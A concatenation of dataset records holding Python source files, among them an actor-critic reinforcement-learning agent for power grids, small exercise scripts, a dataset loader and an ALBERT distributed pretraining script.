K.placeholder(shape=(None, self.action_size))\r\n advantages = K.placeholder(shape=(None, ))\r\n\r\n policy = self.actor.output\r\n\r\n good_prob = K.sum(action * policy, axis=1)\r\n eligibility = K.log(good_prob + 1e-10) * K.stop_gradient(advantages)\r\n loss = -K.sum(eligibility)\r\n\r\n entropy = K.sum(policy * K.log(policy + 1e-10), axis=1)\r\n\r\n actor_loss = loss + 0.01*entropy\r\n\r\n optimizer = Adam(lr=self.actor_lr)\r\n # updates = optimizer.get_updates(params=self.actor.trainable_weights, constraints=[],loss=actor_loss)\r\n updates = optimizer.get_updates(params=self.actor.trainable_weights, loss=actor_loss)\r\n train = K.function([self.actor.input, action, advantages], tf.compat.v1.convert_to_tensor([]),updates=updates)\r\n return train\r\n\r\n # make loss function for Value approximation\r\n def critic_optimizer(self):\r\n discounted_reward = K.placeholder(shape=(None, ))\r\n\r\n value = self.critic.output\r\n\r\n loss = K.mean(K.square(discounted_reward - value))\r\n\r\n optimizer = Adam(lr=self.critic_lr)\r\n # updates = optimizer.get_updates(params=self.critic.trainable_weights, constraints=[],loss=loss)\r\n updates = optimizer.get_updates(params=self.critic.trainable_weights, loss=loss)\r\n train = K.function([self.critic.input, discounted_reward], tf.compat.v1.convert_to_tensor([]), updates=updates)\r\n return train\r\n\r\n # make agents(local) and start training\r\n def train(self, nn_weights_name):\r\n agents = [Agent(i, self.actor, self.critic, self.optimizer, self.env_name, self.discount_factor,\r\n self.action_size, self.state_size, self.action_space_lists, self.profiles_chronics, self.sess) for i in range(self.threads)]\r\n\r\n for agent in agents:\r\n agent.start()\r\n\r\n while (len(scores) < EPISODES_train):\r\n time.sleep(200) # main thread saves the model every 200 sec\r\n print(\"len(scores) = \", len(scores))\r\n if (len(scores)>10):\r\n self.save_model(nn_weights_name,self.save_path)\r\n print(\"_______________________________________________________________________________________________________\")\r\n print(\"saved NN model at episode\", episode, \"\\n\")\r\n print(\"_______________________________________________________________________________________________________\")\r\n\r\n def load_model(self, nn_weight_name, load_path):\r\n self.actor.load_weights(os.path.join(load_path,nn_weight_name + \"_actor.h5\"))\r\n self.critic.load_weights(os.path.join(load_path,nn_weight_name + \"_critic.h5\"))\r\n\r\n def save_model(self, nn_weight_name, save_path):\r\n self.actor.save_weights(os.path.join(save_path,nn_weight_name + \"_actor.h5\"))\r\n self.critic.save_weights(os.path.join(save_path,nn_weight_name + \"_critic.h5\"))\r\n\r\n# This is Agent(local) class for threading\r\nclass Agent(threading.Thread):\r\n def __init__(self, index, actor, critic, optimizer, env_name, discount_factor, action_size, state_size, action_space_lists,profiles_chronics,session):\r\n threading.Thread.__init__(self)\r\n\r\n self.states = []\r\n self.rewards = []\r\n self.actions = []\r\n\r\n self.index = index\r\n self.actor = actor\r\n self.critic = critic\r\n self.optimizer = optimizer\r\n self.env_name = env_name\r\n self.discount_factor = discount_factor\r\n self.action_size = action_size\r\n self.state_size = state_size\r\n self.session = session\r\n\r\n self.gen_action_list = action_space_lists[0]\r\n self.load_action_list = action_space_lists[1]\r\n self.line_or_action_list = action_space_lists[2]\r\n self.line_ex_action_list = action_space_lists[3]\r\n self.profiles_chronics = profiles_chronics\r\n\r\n # Thread interactive with environment\r\n def run(self):\r\n global episode\r\n episode = 0\r\n env = set_environement(self.index,self.env_name,self.profiles_chronics)\r\n self.action_space = env.helper_action_player\r\n while episode < EPISODES_train:\r\n state = env.reset()\r\n state_as_dict = copy.deepcopy(state)\r\n # state = copy.deepcopy(np.reshape(state.to_vect(), [1, self.state_size]))\r\n state = useful_state(state_as_dict,env.backend.prod_pu_to_kv)\r\n state = state.reshape([1,state.size])\r\n score = 0\r\n time_step = 0\r\n max_action = 0\r\n non_zero_actions = 0\r\n epsilon = 0.5\r\n while True:\r\n # Decaying epsilon greedy. Not the best one. This agent needs a better exploration strategy to help\r\n # it learn to perform well.\r\n if np.random.random() < epsilon*(1/(episode/400+1)):\r\n action_index = int(np.random.choice(self.action_size))\r\n epison_flag = True\r\n else:\r\n epison_flag = False\r\n if time_step%1 == 0:# or max(state_as_dict.rho)>0.75:\r\n action_index = self.get_action(state_as_dict,state)\r\n else:\r\n action_index = 0\r\n\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, episode, flag=1)\r\n\r\n # print(action)\r\n\r\n next_state, reward, done, flag = env.step(action)\r\n state_as_dict = copy.deepcopy(next_state)\r\n time_hour = state_as_dict.day*10000 + state_as_dict.hour_of_day * 100+ state_as_dict.minute_of_hour\r\n # next_state = np.reshape(next_state.to_vect(), [1, self.state_size]) if not done else np.zeros([1, self.state_size])\r\n next_state = useful_state(next_state,env.backend.prod_pu_to_kv)\r\n next_state = next_state.reshape([1,next_state.size])\r\n # next_state = observation_space.array_to_observation(next_state).as_minimalist().as_array()\r\n # score += (reward-0.1*(next_state[1]*next_state[1]+next_state[3]*next_state[3])) # reducing the reward based on speed...\r\n score += reward if not done else -100*(1+np.sqrt(episode)/10)\r\n non_zero_actions += 0 if action_index==0 else 1\r\n # if flag == None:\r\n # self.memory(state, action, reward)\r\n # else:\r\n # score -= 10 if flag.is_empty else 0\r\n # self.memory(state, action, 0)\r\n self.memory(state, action_index, reward if not done else -100*(1+np.sqrt(episode)/10))\r\n\r\n state = copy.deepcopy(next_state) if not done else np.zeros([1, self.state_size])\r\n\r\n time_step += 1\r\n max_action = max(max_action,action_index)\r\n\r\n if done or time_step > time_step_end:\r\n if done:\r\n print(\"----STOPPED Thread:\", self.index, \"/ train episode: \", episode, \"/ instant reward\",int(reward), \"/ score : \", int(score),\r\n \"/ with final time:\", time_step, \"/ with final action\", action_index,\r\n \"/Random action: \",epison_flag,\"/ number of non-zero actions\", non_zero_actions, \"/ day_hour_min:\", time_hour)\r\n if time_step > time_step_end:\r\n print(\"End Thread:\", self.index, \"/ train episode: \", episode, \"/ instant reward\",int(reward), \"/ score : \", int(score),\r\n \"/ with final time:\", time_step, \"/ with final action\", action_index,\r\n \"/Random action: \",epison_flag,\"/ number of non-zero actions\", non_zero_actions, \"/ day_hour_min:\", time_hour)\r\n # global scores\r\n scores.append(score)\r\n # print(len(scores))\r\n # global episode\r\n episode += 1\r\n # if len(self.states) == 0:\r\n # k = 1\r\n self.train_episode(True) # max score = 80000\r\n break\r\n else:\r\n if time_step % 10 ==0:\r\n print(\"Continue Thread:\", self.index, \"/ train episode: \", episode, \"/ instant reward\",int(reward), \"/ score : \", int(score),\r\n \"/ with recent time:\", time_step, \"/ with recent action\", action_index,\"/Random action: \",epison_flag,\"/ number of non-zero actions\", non_zero_actions, \"/ max_action so far:\", max_action)\r\n self.train_episode(False)\r\n\r\n # In Policy Gradient, Q function is not available.\r\n # Instead agent uses sample returns for evaluating policy\r\n def discount_rewards(self, rewards, done=True):\r\n discounted_rewards = np.zeros_like(rewards)\r\n running_add = 0\r\n if not done:\r\n with self.session.as_default():\r\n with self.session.graph.as_default():\r\n running_add = self.critic.predict(np.reshape(self.states[-1], (1, self.state_size)))[0]\r\n for t in reversed(range(0, len(rewards))):\r\n running_add = running_add * self.discount_factor + rewards[t]\r\n discounted_rewards[t] = running_add\r\n return discounted_rewards\r\n\r\n # save of each step\r\n # this is used for calculating discounted rewards\r\n def memory(self, state, action, reward):\r\n self.states.append(state[0])\r\n act = np.zeros(self.action_size)\r\n act[action] = 1\r\n self.actions.append(act)\r\n self.rewards.append(reward)\r\n\r\n # update policy network and value network every episode\r\n def train_episode(self, done):\r\n discounted_rewards = self.discount_rewards(self.rewards, done)\r\n with self.session.as_default():\r\n with self.session.graph.as_default():\r\n values = self.critic.predict(np.array(self.states))[0]\r\n values = np.reshape(values, len(values))\r\n\r\n advantages = discounted_rewards - values\r\n\r\n with self.session.as_default():\r\n with self.session.graph.as_default():\r\n state_as_tensor = tf.compat.v1.convert_to_tensor(np.asarray(self.states))\r\n action_as_tensor = tf.compat.v1.convert_to_tensor(np.asarray(self.actions))\r\n advantage_as_tensor = tf.compat.v1.convert_to_tensor(np.asarray(advantages))\r\n # reshaped_state_as_tensor = tf.compat.v1.reshape(state_as_tensor,self.actor.input.shape.dims)\r\n self.optimizer[0]([state_as_tensor, action_as_tensor, advantage_as_tensor])\r\n self.optimizer[1]([state_as_tensor, discounted_rewards])\r\n self.states, self.actions, self.rewards = [], [], []\r\n\r\n\r\n def get_action(self, state_as_dict, state):\r\n with self.session.as_default():\r\n with self.session.graph.as_default():\r\n # Predict the action using the internal neural network\r\n policy = self.actor.predict(state,batch_size=1).flatten()\r\n\r\n # Select first 4 best possible actions from the neural nets.\r\n policy_chosen_list = np.random.choice(self.action_size, 4, p=policy)\r\n\r\n # Simulate the impact of these actions and pick the best action that maximizes the reward.\r\n # (one-step lookahead).\r\n action_index = policy_chosen_list[0]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, episode, flag=0)\r\n obs_0, rw_0, done_0, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[1]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, episode, flag=0)\r\n obs_1, rw_1, done_1, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[2]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, episode, flag=0)\r\n obs_2, rw_2, done_2, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[3]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, episode, flag=0)\r\n obs_3, rw_3, done_3, _ = state_as_dict.simulate(action)\r\n\r\n return policy_chosen_list[np.argmax([rw_0,rw_1,rw_2,rw_3])]\r\n\r\n def create_action_dict(self,gen_action_list, load_action_list, line_or_action_list, line_ex_action_list, action_index, episode, flag):\r\n action = self.action_space(\r\n {\"change_bus\": {\"generators_id\": gen_action_list[action_index], \"loads_id\": load_action_list[action_index],\r\n \"lines_or_id\": line_or_action_list[action_index],\r\n \"lines_ex_id\": line_ex_action_list[action_index]}})\r\n # if flag == 1:\r\n # print(\"_______________________________________________________________________________________________________\")\r\n # print(\"thread number \", self.index,\" Executed action index in environment step:\", action_index,\" at episode:\", episode)\r\n # # print(action)\r\n # print(\"_______________________________________________________________________________________________________\")\r\n # else:\r\n # print(\"_______________________________________________________________________________________________________\")\r\n # print(\"thread number \", self.index,\" Executed action index at simulate step:\", action_index,\" at episode:\", episode)\r\n # # print(action)\r\n # print(\"_______________________________________________________________________________________________________\")\r\n return action\r\n\r\n# def set_environement(start_id,env_name,profiles_chronics):\r\n# param = Parameters()\r\n# param.NO_OVERFLOW_DISCONNECTION = True\r\n#\r\n# env = make(env_name,chronics_path= profiles_chronics, reward_class=CombinedReward,param=param)\r\n# # Register custom reward for training\r\n# cr = env.reward_helper.template_reward\r\n# cr.addReward(\"overflow\", CloseToOverflowReward(), 50.0)\r\n# cr.addReward(\"game\", GameplayReward(), 100.0)\r\n# cr.initialize(env)\r\n#\r\n# # Debug prints\r\n# print(\"Debug prints --->:\")\r\n# print(\"Chronics location that being used:\", env.chronics_handler.path)\r\n# print(\"Grid location being used:\", env.init_grid_path)\r\n# print(\"Reward class that is being used:\", env.rewardClass)\r\n# print(\"Action type class being used:\", env.actionClass)\r\n# print(\"Observation type class being used:\", env.observationClass)\r\n# print(\"Backend CSV file key names:\", env.names_chronics_to_backend)\r\n# print(\"Legal action class being used:\", env.legalActClass)\r\n# print(\"Voltage controller class being used:\", env.voltagecontrolerClass)\r\n#\r\n# if start_id != None:\r\n# env.chronics_handler.tell_id(start_id)\r\n# print(\"Thread number:\",start_id,\", ID of chronic current folder:\",env.chronics_handler.real_data.id_chron_folder_current)\r\n# return env\r\n\r\n# This below function reduces the size of the state space.\r\ndef useful_state(obs,value_multiplier):\r\n selected_obs = np.hstack((obs.topo_vect,obs.line_status))\r\n selected_obs = np.hstack((selected_obs,obs.load_p/100))#\r\n selected_obs = np.hstack((selected_obs,obs.load_q/100))\r\n selected_obs = np.hstack((selected_obs,obs.prod_p/100))\r\n selected_obs = np.hstack((selected_obs,obs.prod_v/value_multiplier))\r\n selected_obs = np.hstack((selected_obs,obs.rho))\r\n # selected_obs = np.hstack((selected_obs,obs.day))\r\n selected_obs = np.hstack((selected_obs,obs.hour_of_day/24))\r\n selected_obs = np.hstack((selected_obs,obs.minute_of_hour/60))\r\n # selected_obs = np.hstack((selected_obs,obs.day_of_week/7))\r\n return selected_obs\r\n\r\n\r\n\r\n\r\n","sub_path":"AsynchronousActorCritic.py","file_name":"AsynchronousActorCritic.py","file_ext":"py","file_size_in_byte":24393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"256208479","text":"# Author: Kene Udeh\n# Title: Cryptographer's Conundrum\n# Question: https://open.kattis.com/problems/conundrum\n# Run: python conundrum.py < \"input files/conundrum.in\"\nimport sys\n\ndef conundrum():\n\n word = sys.stdin.readline()[:-1]\n per = \"PER\" * int(len(word)/3)\n count = 0\n\n for i in range(len(word)):\n if word[i] != per[i]:\n count += 1\n\n print(count)\n\nif __name__ == '__main__':\n conundrum()\n","sub_path":"kattis-problems/conundrum.py","file_name":"conundrum.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"380675734","text":"#!/usr/bin/env python3\n#===============================================================================\n# example_script.py\n#===============================================================================\n\n\"\"\"An example script using the FTSCursor class\"\"\"\n\n\n\n\n# Imports ======================================================================\n\nimport argparse\nimport sqlite3\nfrom ftscursor import FTSCursor\n\n\n\n\n# Functions ====================================================================\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(\n description=(\n 'Create a sqlite3 FTS table in memory and perform a query'\n )\n )\n parser.add_argument(\n 'db',\n metavar='',\n help='a sqlite database'\n )\n parser.add_argument(\n 'table',\n metavar='',\n help='the table which will be indexed'\n )\n parser.add_argument(\n 'columns',\n metavar='',\n nargs='+',\n help='a column which will be indexed'\n )\n parser.add_argument(\n 'query',\n metavar='',\n help='a FTS query'\n )\n return parser.parse_args()\n\n\ndef main():\n args = parse_arguments()\n conn = sqlite3.connect(':memory:')\n c = conn.cursor(factory=FTSCursor)\n c.attach_source_db(args.db)\n c.validate_table_name(args.table)\n c.validate_column_names(args.table, *args.columns)\n c.index_all(args.table, args.columns)\n c.detach_source_db()\n print(tuple(c.search(args.table, args.query)))\n\n\n\n\n# Execute ======================================================================\n\nif __name__ == '__main__':\n main()\n","sub_path":"ftscursor/example_script.py","file_name":"example_script.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"404897491","text":"def driving(driving):\n if driving<17:\n driving=False\n if driving>16:\n driving=True\n return driving\n\nprint(driving(16))\nprint(driving(25))\n\ndef id_triangle(a,b,c):\n if a**2+b**2 == c**2:\n id_triangle=\"Triangle is right angled\"\n if a**2+b**2 > c**2:\n id_triangle=\"Triangle is acute\"\n if a**2+b**2 < c**2:\n id_triangle = \"Triangle is obtuse\"\n return id_triangle\n\nprint(id_triangle(3,30,3))\n\ndef fizzbuzz(num):\n if num%3 == 0:\n fizzbuzz=\"FIZZ!\"\n if num%5 == 0:\n fizzbuzz=\"Buzz!\"\n if num%3 == 0 and num%5 == 0:\n fizzbuzz=\"FIZZ BUZZ!\"\n return fizzbuzz\n\nprint(fizzbuzz(15))\nprint(fizzbuzz(6))\nprint(fizzbuzz(10))\n\nimport random\n\ndef guess_dice(a,b,c):\n count = 0\n dice1 = random.randint(1, 6)\n dice2 = random.randint(1, 6)\n dice3 = random.randint(1, 6)\n if dice1 == a:\n count=count+1\n if dice2 == b:\n count=count+1\n if dice3 == c:\n count=count+1\n print(\"Rolled\",dice1,dice2,dice3,\"and got right amount of guesses below:\")\n return count\nprint(guess_dice(5,3,1))\nprint(guess_dice(6,5,4))\n\ndef gimme_random(type,low,high):\n if type==\"float\":\n num=random.uniform(low,high)\n if type==\"int\":\n num=random.randint(low,high)\n return num\n\nprint(gimme_random(\"float\",0.2,0.9))","sub_path":"Computational Thinking/Conditionals.py","file_name":"Conditionals.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"122159191","text":"#-*-coding: utf-8 -*-\nimport csv\nimport sys\nimport re\nimport commands\nimport json\nimport myUtil\nimport my_constant\nimport analyze_control_clone\nfrom itertools import islice\n\n\n\"\"\"\n@ param cond_list a and b for comparing, func_similarity_dic\n@ return similarity value\n@ callee longestCommonSeq\n@ caller compute_cluster ..\n@ involve compute similarity between cond_lists, unordered common element\n\"\"\"\ndef compute_similarity_for_context(context_list_a, context_list_b, func_similarity_dic):\n cdg_list_a = context_list_a[0]\n ddg_list_a = context_list_a[1]\n\n cdg_list_b = context_list_b[0]\n ddg_list_b = context_list_b[1]\n if analyze_control_clone.compute_ddg_similarity \\\n (ddg_list_a, ddg_list_b, func_similarity_dic) == 1:\n return analyze_control_clone.compute_context_similarity\\\n (cdg_list_a, cdg_list_b, func_similarity_dic)\n return float(0)\n\n\"\"\"\n@param: cdg_lists(entiry vectors), func_similarity_dic, cluster_similarity = 0.5\n@return cluster index for each entity\n@caller cluster\n@callee computeSimForCluster\n@involve: create cluster for log snnippets with high similarity\n\"\"\"\ndef compute_cluster(context_lists, func_similarity_dic):\n\n\n # dictionary for cluster info\n len_repos = len(context_lists)\n repos_cluster_vec = [0 for i in range(len_repos)]\n func_similarity_dic = myUtil.getFunctionSimilarityDic(True)\n\n cluster_cnt = 1\n for i in range(len_repos):\n for j in range(len_repos):\n if i == j:\n continue\n if compute_similarity_for_context\\\n (context_lists[i], context_lists[j], func_similarity_dic) == 1:\n # have been saved in one cluster, so with transition, merge the later with the first\n if not repos_cluster_vec[i] == 0:\n cluster_i = repos_cluster_vec[i]\n if not repos_cluster_vec[j] == 0:\n cluster_j = repos_cluster_vec[j]\n # update repos_cluster_dic to i cluster\n for k in range(len_repos):\n if repos_cluster_vec[k] == cluster_j:\n repos_cluster_vec[k] = cluster_i\n else:\n # the later no class, avoid traverse\n repos_cluster_vec[j] = cluster_i\n continue\n # have been saved in the later one, so with transition, add the first into the later\n if not repos_cluster_vec[j] == 0:\n repos_cluster_vec[i] = repos_cluster_vec[j]\n continue\n # both no cluster, so create new one\n repos_cluster_vec[i] = cluster_cnt\n repos_cluster_vec[j] = cluster_cnt\n cluster_cnt += 1\n\n return repos_cluster_vec\n\"\"\"\n@ param ...\n@ return nothing\n@ caller main\n@ callee compute_cluster\n@ involve compute similarity of repos records\n\"\"\"\ndef similarity_control_repos():\n\n # initialize func_similarity_dict\n func_similarity_dic = myUtil.getFunctionSimilarityDic(True)\n\n # initialize read file\n analyze_control = file(my_constant.ANALYZE_REPOS_FILE_NAME, 'rb')\n records = csv.reader(analyze_control)\n\n # initialize write file\n cluster_control = file(my_constant.CLUSTER_REPOS_FILE_NAME, 'wb')\n cluster_control_writer = csv.writer(cluster_control)\n cluster_control_writer.writerow(my_constant.CLUSTER_REPOS_TITLE)\n\n context_lists = []\n # traverse the fetch csv file to record cond_lists of each log statement to cdg_lists\n for record in islice(records, 1, None): # remove the table title\n # store cond_lists(index 6)\n cdg_list = json.loads(record[my_constant.ANALYZE_REPOS_CONTEXT])\n ddg_list = json.loads(record[my_constant.ANALYZE_REPOS_DDG])\n # # remove [[]] cond_list\n # context_list = myUtil.removeGivenElement([[]], context_list)\n context_lists.append([cdg_list, ddg_list])\n\n # cluster log statement based on cdg_list and ddg_list\n repos_cluster_vec = compute_cluster(context_lists, func_similarity_dic)\n\n # record cluster index of each log statement\n analyze_control.close()\n analyze_control = file(my_constant.ANALYZE_REPOS_FILE_NAME, 'rb')\n records = csv.reader(analyze_control)\n index = 0\n for record in islice(records, 1, None):\n record.append(repos_cluster_vec[index])\n cluster_control_writer.writerow(record)\n index += 1\n\n # close files\n analyze_control.close()\n cluster_control.close()\n\n\"\"\"\nmain function\n\"\"\"\nif __name__ == \"__main__\":\n\n similarity_control_repos()\n","sub_path":"past_code/src-old/similarity_control_repos.py","file_name":"similarity_control_repos.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"546202017","text":"import os\n\nimport cv2\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom sklearn.model_selection import train_test_split\nfrom config import Config\nfrom random import uniform\nfrom random import random\nfrom imageaug import crop_square, random_horizontal_flip\n\nimport xml.etree.ElementTree as ET\n\n\ndef my_collate_fn(batch):\n\n images = torch.stack(list(map(lambda x: torch.tensor(x[0]).double(), batch)))\n coordinates = list(map(lambda x: x[1], batch))\n pathes = list(map(lambda x: x[2], batch))\n\n return images, coordinates, pathes\n\n\ndef create_voc_datasets(voc_dataset_dir, split_ratio=0.2):\n annotations_dir = os.path.join(voc_dataset_dir, 'Annotations/All_Annotations/')\n imgnames_dir=os.path.join(voc_dataset_dir, 'ImageSets/All_train_imgnames.txt')\n imgnames = open(imgnames_dir, 'r')\n imgs = imgnames.readlines()\n imgnames.close()\n\n coordinates = []\n\n for img in imgs:\n annotation = img.strip() + '.xml'\n annotation_path = os.path.join(annotations_dir, annotation)\n\n\n def extract_info(annotation_path, classes=Config.VOC_CLASS):\n tree = ET.parse(annotation_path)\n root = tree.getroot()\n file_path = root.findall('filename')[0].text\n coordinates = []\n\n for i in root.findall('object'):\n if i.find('name').text == classes:\n xmin = i.find('bndbox').find('xmin').text\n ymin = i.find('bndbox').find('ymin').text\n xmax = i.find('bndbox').find('xmax').text\n ymax = i.find('bndbox').find('ymax').text\n\n try:\n coordinate = (int(ymin), int(xmin), int(ymax), int(xmax), 1)\n coordinates.append(coordinate)\n except:\n continue\n else:\n continue\n return (file_path, coordinates)\n\n item = extract_info(annotation_path)\n if len(item[1]) == 0:\n continue\n else:\n coordinates.append(item)\n\n train_annotation, val_annotation = train_test_split(coordinates, test_size=0.1)\n\n train_dataset = VOCDataset(\n os.path.join(voc_dataset_dir),\n train_annotation,\n image_size=Config.IMAGE_SIZE)\n\n validation_dataset = VOCDataset(\n os.path.join(voc_dataset_dir),\n val_annotation,\n image_size=Config.IMAGE_SIZE)\n\n return train_dataset, validation_dataset\n\n\nclass VOCDataset(Dataset):\n\n def __init__(self, images_dir, annotation, image_size=640, transform=None, random_flip=Config.RANDOM_FLIP, random_crop=True,\n random_color_jitter=Config.RANDOM_COLOR_JITTER,\n mode='train'):\n super().__init__()\n self.images_dir = os.path.join(images_dir, 'Data/train_and_validate/All')\n self.annotation = annotation\n self.transform = transform\n self.image_size = image_size\n self.random_flip = random_flip\n self.transform = None\n self.random_color_jitter = random_color_jitter\n self.random_crop = random_crop\n self.mode = mode\n\n def __image_loader(self, image_path):\n return cv2.imread(image_path)\n\n def __len__(self):\n return len(self.annotation)\n\n def __getitem__(self, index):\n file_path, coordinates = self.annotation[index]\n file_path = os.path.join(self.images_dir, file_path)\n image = self.__image_loader(file_path)\n #image = image - np.array([104, 117, 123], dtype=np.uint8)\n # if self.mode == 'train':\n # if random() < 0.5:\n # ratio = uniform(Config.MIN_CROPPED_RATIO, Config.MAX_CROPPED_RATIO)\n # else:\n # ratio = 1\n # image, coordinates = crop_square(\n # image, coordinates, ratio, Config.KEEP_AREA_THRESHOLD)\n # image, coordinates = \\\n # random_horizontal_flip(image, coordinates)\n\n # scale coordinate\n height, width = image.shape[:2]\n width_scale, height_scale = 640.0 / width, 640.0 / height\n coordinates = np.array(list(map(lambda x: [\n x[0] * height_scale,\n x[1] * width_scale,\n x[2] * height_scale,\n x[3] * width_scale,\n *x[4:]\n ], coordinates)))\n image = cv2.resize(image, (self.image_size, self.image_size))\n\n if self.transform:\n image = self.transform(image)\n\n return (image, coordinates, file_path)","sub_path":"voc_dataset.py","file_name":"voc_dataset.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"406229387","text":"from distutils.core import setup\r\nimport py2exe\r\nimport os\r\n\r\n\r\nfiles = []\r\nfor iconName in os.listdir('./icons'):\r\n iconPath = ('icons', ['./icons/%s' % (iconName)])\r\n files.append(iconPath)\r\nfor resName in os.listdir('./resources'):\r\n resPath = ('resources', ['./resources/%s' %(resName)])\r\n files.append(resPath)\r\ncfgPath = ('.', ['./config.ini'])\r\nfiles.append(cfgPath)\r\nsetup(\r\n windows=[{\"script\" : \"setIpGui.py\"}],\r\n data_files = files,\r\n options={\r\n \"py2exe\" : {\r\n \"includes\" : [\"sip\", \"xml.etree.cElementTree\"],\r\n \"packages\" : [\"xml\"],\r\n \"dll_excludes\" : [\"MSVCP90.dll\"],\r\n \"bundle_files\" : 1,\r\n \"compressed\" : True\r\n }\r\n },\r\n zipfile = None\r\n )\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"433214476","text":"# -*- conding:utf-8 -*-\nclass MyException(Exception):\n def __init__(self,value):\n self.value=value\n def ex(self):\n try:\n int(age)\n except TypeError:\n print('请输入一个数字')\n if age < 0:\n print('年龄大于零!')\ntry:\n raise MyException('自定义异常')\nexcept MyException as me:\n print(me.value)\n print(me.args)\n\n#输入一个年龄,如果是数字,且>0注册成功,否则返回异常输出,其中异常自定义\nmye =MyException('请输入一个数字')\n\ndef registion(age):\n try:\n int(age)\n except MyException(age) as me:\n me.ex()\n else:\n print('注册成功!')\n\nwhile True:\n age = input('请输入年龄:')\n registion(age)","sub_path":"base_python/day13_exception/my_exception.py","file_name":"my_exception.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"621057347","text":"import os\nimport logging\nimport time\nimport random\nimport math\nimport re\nfrom copy import deepcopy\n\nimport numpy as np\nimport torch\nfrom torch.optim import Adam\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.multiprocessing import Process\nfrom tqdm import tqdm\nimport torch.distributed as dist\nfrom tokenizers import BertWordPieceTokenizer\nfrom transformers import AlbertForMaskedLM, AlbertConfig\n\nfrom config import Config\nfrom reader import Reader\n\n\ndef distribute_data(batches, num_gpus):\n distributed_data = []\n if len(batches) % num_gpus == 0:\n batch_size = int(len(batches) / num_gpus)\n for idx in range(num_gpus):\n distributed_data.append(batches[batch_size*idx:batch_size*(idx+1)])\n else:\n batch_size = math.ceil(len(batches) / num_gpus)\n expanded_batches = deepcopy(batches) if type(batches) == list else batches.clone()\n while True:\n expanded_batches = expanded_batches + deepcopy(batches) if type(batches) == list else torch.cat([expanded_batches, batches.clone()], dim=0)\n if len(expanded_batches) >= batch_size*num_gpus:\n expanded_batches = expanded_batches[:batch_size*num_gpus]\n break\n for idx in range(num_gpus):\n distributed_data.append(expanded_batches[batch_size*idx:batch_size*(idx+1)])\n\n return distributed_data\n\ndef init_process(local_rank, backend, config, albert_config, logger):\n os.environ['MASTER_ADDR'] = '127.0.0.1'\n os.environ['MASTER_PORT'] = '29500'\n dist.init_process_group(backend, rank=local_rank, world_size=config.num_gpus)\n torch.cuda.set_device(local_rank)\n\n random.seed(config.seed)\n np.random.seed(config.seed)\n torch.manual_seed(config.seed)\n torch.cuda.manual_seed(config.seed)\n torch.cuda.manual_seed_all(config.seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n if local_rank != 0:\n logger.setLevel(logging.WARNING)\n \n if local_rank == 0:\n writer = SummaryWriter()\n if not os.path.exists(\"save\"):\n os.mkdir(\"save\")\n save_path = \"save/model_{}.pt\".format(re.sub(\"\\s+\", \"_\", time.asctime()))\n\n reader = Reader(config)\n start = time.time()\n logger.info(\"Loading data...\")\n reader.load_data()\n end = time.time()\n logger.info(\"Loaded. {} secs\".format(end-start))\n\n model = AlbertForMaskedLM(albert_config).cuda()\n model.albert.pooler.requires_grad_(False) # pooled output is not used for pretraining(MLM)\n optimizer = Adam(model.parameters(), lr=config.lr)\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[local_rank], output_device=local_rank)\n\n if config.save_path is not None:\n load(model, optimizer, config.save_path, local_rank)\n\n train.global_step = 0\n train.max_iter = len(list(reader.make_batch(\"train\")))\n validate.max_iter = len(list(reader.make_batch(\"dev\")))\n\n min_loss = 1e+10\n early_stop_count = config.early_stop_count\n\n logger.info(\"Validate...\")\n loss = validate(model, reader, config, local_rank)\n logger.info(\"loss: {:.4f}\".format(loss))\n\n model.train()\n\n for epoch in range(config.max_epochs):\n logger.info(\"Train...\")\n start = time.time()\n\n if local_rank == 0:\n train(model, reader, optimizer, config, local_rank, writer)\n else:\n train(model, reader, optimizer, config, local_rank)\n \n end = time.time()\n logger.info(\"epoch: {}, {:.4f} secs\".format(epoch+1, end-start))\n\n logger.info(\"Validate...\")\n loss = validate(model, reader, config, local_rank)\n logger.info(\"loss: {:.4f}\".format(loss))\n \n if local_rank == 0:\n writer.add_scalar(\"Val/loss\", loss, epoch+1)\n\n if loss < min_loss: # save model\n if local_rank == 0:\n save(model, optimizer, save_path)\n logger.info(\"Saved to {}.\".format(os.path.abspath(save_path)))\n \n min_loss = loss\n early_stop_count = config.early_stop_count\n else: # ealry stopping\n if early_stop_count == 0:\n if epoch < config.min_epochs:\n early_stop_count += 1\n logger.info(\"Too early to stop training.\")\n logger.info(\"early stop count: {}\".format(early_stop_count))\n else:\n logger.info(\"Early stopped.\")\n break\n elif early_stop_count == 2:\n lr = lr / 2\n 